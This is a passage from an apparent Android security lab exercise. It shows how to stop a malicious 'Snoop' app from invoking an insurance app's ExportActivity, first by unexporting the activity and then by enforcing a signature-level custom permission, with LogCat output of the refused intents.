17. Close the application, run the Snoop, and try the same hack. 

 
... and in the LogCat view you see: 

... 
Caused by: java.lang.SecurityException: Permission Denial: starting 
Intent { act=cc.action.EXPORT cmp=cc.insurance.android/.ExportActivity 
(has extras) } from ProcessRecord{4074b3d0 537:cc.snoop/10039} 
(pid=537, uid=10039) requires null 
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So the operating system refuses to invoke the malicious intent, on the grounds that 
the only registered activity that matches its criteria is not available for cross-process 
invocation. This is good to see; but it’s not the right solution for this application, 
because it would also shut down partner applications. 

18. Remove the android:exported attribute. 

19. At the top of the manifest, define a custom permission, as follows: 
<manifest ... > 
  <permission  
    android:name="cc.permission.IMPORT_EXPORT" 
    android:label="@string/permission_import_export_name" 
    android:description="@string/permission_import_export_desc" 
    android:permissionGroup="android.permission-group.PERSONAL_INFO" 
    android:protectionLevel="signature"  
  /> 
  <uses-sdk ... /> 
 

So partner applications would have to request this IMPORT_EXPORT permission. 
Anyone could request it and ask the user to approve it – and that is a basic weakness 
of the permissions model, because the less sophisticated user may well grant the 
permission to a malicious application without really understanding it. But it would be 
granted automatically to any application signed with the same certificate as ours. 

20. We’re not done yet, though. It’s up to us to enforce this permission. Add this 
requirement to the target activity: 

    <activity  
      android:name=".ExportActivity" 
      android:permission="cc.permission.IMPORT_EXPORT" 
    > 
 
21. Save, clean, build, and run the application again; close, and try the Snoop attack one 

more time. You’ll see that it is again foiled ... 
Caused by: java.lang.SecurityException: Permission Denial: starting 
Intent { act=cc.action.EXPORT cmp=cc.insurance.android/.ExportActivity 
(has extras) } from ProcessRecord{4065f678 619:cc.snoop/10039} 
(pid=619, uid=10039) requires cc.permission.IMPORT_EXPORT 
 

... but now in a way that still allows friendly applications to work with us, and gives at 
least a reasonable level of security against less friendly applications, with the main risk 
now being that the user will not be as vigilant as we would hope when installing new 
apps that might be malware. 


